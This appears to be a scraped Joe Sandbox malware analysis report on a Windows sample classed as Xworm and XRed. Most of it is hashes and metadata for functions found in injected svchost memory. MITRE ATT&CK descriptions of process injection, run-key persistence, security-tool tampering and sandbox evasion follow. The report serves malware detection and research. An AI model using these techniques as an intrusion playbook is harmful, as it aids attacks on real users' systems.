Instruction Fuzzy Hash: 9A511621A0EB864FE756A73C88556B97BD1DF87210B0940FBD08DC72A3DD1D9C478392

Function 00007FFAAC3A0848 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2430713581.00007FFAAC3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ffaac3a0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc7b01c60d34c314f7841893582fa1bdb82e67679001b431ca55a79b4f16df7b
Instruction ID: 1cb940090a32476aa3943e321169d80b08e0238290abf97e2a78e1f15ec67011
Opcode Fuzzy Hash: bc7b01c60d34c314f7841893582fa1bdb82e67679001b431ca55a79b4f16df7b
Instruction Fuzzy Hash: 0D31A6A595864A8FD744E77CE0A5CFA7F61EF85300B4485A5E04EC73B7EE34A9038780

Function 00007FFAAC3A0860 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000002.2430713581.00007FFAAC3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ffaac3a0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38cf387f7046fc86d0ee4588fd9cef6bc3bb4d1719d0327a13d56f0beba6e7b1
Instruction ID: 2c0ca096696bc10bd78b2c88b163d6ef2eb7bbf3280d43c48f3bf5aa98051176
Opcode Fuzzy Hash: 38cf387f7046fc86d0ee4588fd9cef6bc3bb4d1719d0327a13d56f0beba6e7b1
Instruction Fuzzy Hash: 612187A5958A0A8FD744E77CD4A5DBA7F61EF84300B90C5A4E44FC33A6EE2499038791

Analysis Process: svchost.exePID: 9828, Parent PID: 932COMMON

Executed Functions

Function 00007FFAAC3C0AD1 Relevance: 1.4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

Strings

6C, xrefs: 00007FFAAC3C0B02

Memory Dump Source

Source File: 00000019.00000002.3040451514.00007FFAAC3C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffaac3c0000_svchost.jbxd

Similarity

API ID:
String ID: 6C
API String ID: 0-3432448568
Opcode ID: 2a9b50a9f096b968134bd6dfdde8be33be233b9fc9a488487778333af1588340
Instruction ID: 858cacf69ca1c2bde3c85c8986f536a27199f9e3c1c926c93cb18d8389907dfb
Opcode Fuzzy Hash: 2a9b50a9f096b968134bd6dfdde8be33be233b9fc9a488487778333af1588340
Instruction Fuzzy Hash: 5131C662B1DE464FF784ABB8985AABD77D1EBA9311F044176E00DC3292DD1898058391

Function 00007FFAAC3C0985 Relevance: 1.4, Strings: 1, Instructions: 115COMMON

Download Yara Rule

Strings

HBM, xrefs: 00007FFAAC3C09C0

Memory Dump Source

Source File: 00000019.00000002.3040451514.00007FFAAC3C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffaac3c0000_svchost.jbxd

Similarity

API ID:
String ID: HBM
API String ID: 0-821133196
Opcode ID: 0d599bee34b2008c97fad26c486e6445eaad03ea72dd7b9f6857cd9aeccf6b58
Instruction ID: e38969329dbee1f612d1b513380f4608c153e236e17c89fad269ed32602bb753
Opcode Fuzzy Hash: 0d599bee34b2008c97fad26c486e6445eaad03ea72dd7b9f6857cd9aeccf6b58
Instruction Fuzzy Hash: 9D31A571A18A4A8FEB44EB78C465AEDB7A1FF99300F544579D009D3296DE38A8058790

Function 00007FFAAC3C1A49 Relevance: 1.4, Strings: 1, Instructions: 104COMMON

Download Yara Rule

Strings

r6C, xrefs: 00007FFAAC3C1A52

Memory Dump Source

Source File: 00000019.00000002.3040451514.00007FFAAC3C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffaac3c0000_svchost.jbxd

Similarity

API ID:
String ID: r6C
API String ID: 0-1646037579
Opcode ID: d1d5d5b76cc1ddb98d278993be61e5707898bad5bfa65a5732984668dc24962c
Instruction ID: 1ea66438df3acfce6deb3c78d3c6f63da40d23de208d8bc5c0c15ddca626bc07
Opcode Fuzzy Hash: d1d5d5b76cc1ddb98d278993be61e5707898bad5bfa65a5732984668dc24962c
Instruction Fuzzy Hash: F6216D61B1CA494FE788EB2CD45AB78B2C2EB98301F4445BEE00EC32A3DE289C458741

Function 00007FFAAC3C1B41 Relevance: 1.3, Strings: 1, Instructions: 47COMMON

Download Yara Rule

Strings

8eM, xrefs: 00007FFAAC3C1B6D

Memory Dump Source

Source File: 00000019.00000002.3040451514.00007FFAAC3C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffaac3c0000_svchost.jbxd

Similarity

API ID:
String ID: 8eM
API String ID: 0-1724682101
Opcode ID: e9806c9be7c071598dc32ead3355b404ca9f28743b6f55f5106a78969c649a9a
Instruction ID: 1bb55bd644271c0806c60991239aa6bd7ea395e2b16764f972d124ddab0c91ef
Opcode Fuzzy Hash: e9806c9be7c071598dc32ead3355b404ca9f28743b6f55f5106a78969c649a9a
Instruction Fuzzy Hash: 4601281590DB854FE342A7386865835BFE0DF96310B0844EBE48CC60A7E9089D4897E2

Function 00007FFAAC3C0DF2 Relevance: .5, Instructions: 547COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3040451514.00007FFAAC3C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffaac3c0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0e4b1be65f956e77f9583106a9f6769398338da0f640a3601aa08ce210cd534
Instruction ID: 4ccfc9a710d9dd21195b01dd315a383e7bb0cd7fccc7e7373b997563f089e562
Opcode Fuzzy Hash: c0e4b1be65f956e77f9583106a9f6769398338da0f640a3601aa08ce210cd534
Instruction Fuzzy Hash: 2F31D666A1DB868BE706A77898B64FDBFB0FF42211F444076C04ED71A3DD18580987E1

Function 00007FFAAC3C0E30 Relevance: .5, Instructions: 516COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3040451514.00007FFAAC3C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffaac3c0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b44792f2e4528bb3025568dbf5c6e567a2c0dee03ee62cb8dfc4526a4cd43110
Instruction ID: 66de1f337b93647594a229be7b3bf8976d871bb97bba1f05618586ba511ecd7a
Opcode Fuzzy Hash: b44792f2e4528bb3025568dbf5c6e567a2c0dee03ee62cb8dfc4526a4cd43110
Instruction Fuzzy Hash: 2621D36591DB8A8BE746976888759FDBFB0FF46200F4440B9D04ED31E3CD28690D97E1

Function 00007FFAAC3C12C9 Relevance: .2, Instructions: 235COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3040451514.00007FFAAC3C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffaac3c0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f66893507cbfac62877502e386d5c46fcb5228ad515aaa64207b61121adda757
Instruction ID: c1dd6a12e64d1739d15f67fc37b8f197faffb480fd1b76952942eb3d67c775f7
Opcode Fuzzy Hash: f66893507cbfac62877502e386d5c46fcb5228ad515aaa64207b61121adda757
Instruction Fuzzy Hash: 90718A61A1DA494FEB49F778D479ABD76A2FF89300F804478E40EC32D6DE2CAC059764

Function 00007FFAAC3C0C3E Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3040451514.00007FFAAC3C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffaac3c0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a2df46247481aa0b705b1fcb81209b1e5f30c0ce551c1a41f3745062afd326e
Instruction ID: 6d3d0ba874920f43cb2b7e73667be0d7f438d1363f0e372b084e3c94fc24c9a7
Opcode Fuzzy Hash: 4a2df46247481aa0b705b1fcb81209b1e5f30c0ce551c1a41f3745062afd326e
Instruction Fuzzy Hash: DC511621A0EBC64FE756A73C98555B97BD1DF87220B0940FBD08DC72A3DD189C4A83A2

Function 00007FFAAC3C0848 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3040451514.00007FFAAC3C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffaac3c0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6157e1654799b6b30e749c159d978fb2cebceb79dfd541650d805a2690b52a3
Instruction ID: 550a7aa1a68040b74b2896be89c8b4ba97e2ed66aaa99b9a296d2c62c5c97112
Opcode Fuzzy Hash: f6157e1654799b6b30e749c159d978fb2cebceb79dfd541650d805a2690b52a3
Instruction Fuzzy Hash: 4031C2A592864A8FD340F7B8D4B5CEA7F61BF84300B808565E00DC33FBDE28644487A9

Function 00007FFAAC3C0860 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.3040451514.00007FFAAC3C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ffaac3c0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b94b12567851965423fa9be52cdd643449aa690a107ed5205ec527d5279c7b35
Instruction ID: b9d330ccc400634b2af12d1ba52d4434ec7150ed00ac8fbf6209de3dfc8bc3ec
Opcode Fuzzy Hash: b94b12567851965423fa9be52cdd643449aa690a107ed5205ec527d5279c7b35
Instruction Fuzzy Hash: 5E21A7A556964A8FD344F7B8D4B5DAA7F61FF84300B80C564E40DC33EBCF28654487A9

Analysis Process: svchost.exePID: 4736, Parent PID: 932COMMON

Executed Functions

Function 00007FFAAC3A0AD1 Relevance: 1.4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

Strings

6C, xrefs: 00007FFAAC3A0B02

Memory Dump Source

Source File: 0000001B.00000002.3647753652.00007FFAAC3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ffaac3a0000_svchost.jbxd

Similarity

API ID:
String ID: 6C
API String ID: 0-3432448568
Opcode ID: 04594c286687b74a899c6e154c8b5379c5eeef2287ddb87ee41e1e87662117d7
Instruction ID: ad6c7ca98f3a921e15d63d2fa3e6e6e4583feaf674fb99f17ddf12dd73fd94df
Opcode Fuzzy Hash: 04594c286687b74a899c6e154c8b5379c5eeef2287ddb87ee41e1e87662117d7
Instruction Fuzzy Hash: 9D31D762B19E4A4FF784BBBC9859BBDB7D1EF99711F044176E00EC32A2DD1898018391

Function 00007FFAAC3A0985 Relevance: 1.4, Strings: 1, Instructions: 116COMMON

Download Yara Rule

Strings

HBM, xrefs: 00007FFAAC3A09C0

Memory Dump Source

Source File: 0000001B.00000002.3647753652.00007FFAAC3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ffaac3a0000_svchost.jbxd

Similarity

API ID:
String ID: HBM
API String ID: 0-821133196
Opcode ID: fe52cfcd249322309e20bed5e8c04a1284fdf31ca05dda25ab0ea866a21b058f
Instruction ID: 46c0584ef0fb91a224104288ee4a5c63e2812ed37449e1e7295cf8f98886df65
Opcode Fuzzy Hash: fe52cfcd249322309e20bed5e8c04a1284fdf31ca05dda25ab0ea866a21b058f
Instruction Fuzzy Hash: 3F318471A18A0E8FEB84FB78C455AADB7E1FF98301F544179D00AD72A2DE38A845C790

Function 00007FFAAC3A1A49 Relevance: 1.4, Strings: 1, Instructions: 104COMMON

Download Yara Rule

Strings

r6C, xrefs: 00007FFAAC3A1A52

Memory Dump Source

Source File: 0000001B.00000002.3647753652.00007FFAAC3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ffaac3a0000_svchost.jbxd

Similarity

API ID:
String ID: r6C
API String ID: 0-1646037579
Opcode ID: e7fb6999a5d2cfb934211b6c149012179e388422c0b83af07ff5e359e83341ea
Instruction ID: 89186cc930951eda9d49f797242a9b7340c99487542e76dbcef0d040ba24a7c0
Opcode Fuzzy Hash: e7fb6999a5d2cfb934211b6c149012179e388422c0b83af07ff5e359e83341ea
Instruction Fuzzy Hash: F6214D61B18A494FE788EB2CD45AB79B6C2EB9C311F4445BEE04EC32A3DE689C458741

Function 00007FFAAC3A1B41 Relevance: 1.3, Strings: 1, Instructions: 48COMMON

Download Yara Rule

Strings

8eM, xrefs: 00007FFAAC3A1B6D

Memory Dump Source

Source File: 0000001B.00000002.3647753652.00007FFAAC3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ffaac3a0000_svchost.jbxd

Similarity

API ID:
String ID: 8eM
API String ID: 0-1724682101
Opcode ID: 511a2c24183360ce6173897ef3112516b01558b7ccb2787def251f6ed47081a6
Instruction ID: 228ca15399b6e2d52138feed825746038342fa39348b3fb7d789a95d79474dd1
Opcode Fuzzy Hash: 511a2c24183360ce6173897ef3112516b01558b7ccb2787def251f6ed47081a6
Instruction Fuzzy Hash: 1F01FC1590EB858FF385A7385869871BFE0DF97611B0844EBE48EC71B7EA04D94983D2

Function 00007FFAAC3A0DF2 Relevance: .6, Instructions: 550COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.3647753652.00007FFAAC3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ffaac3a0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6db0a75ce49e7d8c766c9a921b6db8779a0666e5f64cf4f5c607397f5f2f76bf
Instruction ID: de12517aa7a85c69e2a873b37d20b9d0de353821a2e4a3e804cbd7d3a0147bc5
Opcode Fuzzy Hash: 6db0a75ce49e7d8c766c9a921b6db8779a0666e5f64cf4f5c607397f5f2f76bf
Instruction Fuzzy Hash: 3631E862E19B9A8FE745E77888755E9BFB0EF91210F48407BC18EC71A3DD28980987D1

Function 00007FFAAC3A0E30 Relevance: .5, Instructions: 519COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.3647753652.00007FFAAC3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ffaac3a0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad105ba6692e62458b82a60340f0dfc3634f2c8b1470f6ddfa43cd1f33635351
Instruction ID: 30046e40d9a1857989adfa70d8b2ec980c2563e6620f854ad31a3251fd6ced15
Opcode Fuzzy Hash: ad105ba6692e62458b82a60340f0dfc3634f2c8b1470f6ddfa43cd1f33635351
Instruction Fuzzy Hash: 7221B451919B8A8FEB45D76888659F9BFF0FF55200F48407AD04BD71D3CD28A8058391

Function 00007FFAAC3A12C9 Relevance: .3, Instructions: 331COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.3647753652.00007FFAAC3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ffaac3a0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0947eb202e163eb42f6dada60708b9b0edcb5720d46e3296373a4fdada61611
Instruction ID: 96cfa4ab186cf86fab310fca33be4b2c69b10faac176d90fd51cbad8799369e6
Opcode Fuzzy Hash: a0947eb202e163eb42f6dada60708b9b0edcb5720d46e3296373a4fdada61611
Instruction Fuzzy Hash: BAA1B431A19A0D8FEB44FB78C469AAD7BE6FF99315F404179E00FC3292DE299815C790

Function 00007FFAAC3A0C3E Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.3647753652.00007FFAAC3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ffaac3a0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 297b459c1b3571b7613c357bc2a552107c0c62309a4a0874b8c6ef7b99e023ed
Instruction ID: 77ea585ad45d275f91167161738cc765aa8fad766e4c4c413ffe0395b65754b7
Opcode Fuzzy Hash: 297b459c1b3571b7613c357bc2a552107c0c62309a4a0874b8c6ef7b99e023ed
Instruction Fuzzy Hash: 6D512721A0EB864FE756A738C8556B57BD1DF87210B0940FBD08DC72A3DD1D9C468392

Function 00007FFAAC3A0848 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.3647753652.00007FFAAC3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ffaac3a0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 353007be5e7858572e71c9fbb45e32e75bb56c4c2ef19f305391bdc7cdcc86f9
Instruction ID: ed24a287baaacd92fb7e4167401e7e8da2024a6b33908f9e463c077a12ea3e54
Opcode Fuzzy Hash: 353007be5e7858572e71c9fbb45e32e75bb56c4c2ef19f305391bdc7cdcc86f9
Instruction Fuzzy Hash: B1316D6091964E9FD394FB6CC0A5CE97FA1AF95214B8481A5E04FC73B7DE28A800C7C4

Function 00007FFAAC3A0860 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.3647753652.00007FFAAC3A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC3A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_7ffaac3a0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d87ccf816e92994c50678fcc3f1075b266da522abea2aee6455a48dded949d23
Instruction ID: ad7af4bea129d83b8fb925ab4fb66734b4f2d4af90f523ea72ffbfee42808842
Opcode Fuzzy Hash: d87ccf816e92994c50678fcc3f1075b266da522abea2aee6455a48dded949d23
Instruction Fuzzy Hash: AE21646491960E9FD394FB6CC0A5DA97FE1EF98205B9481A4E44FC33B6DF289800C7D5

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Xworm

Threatname: XRed

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Operating System Destruction

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

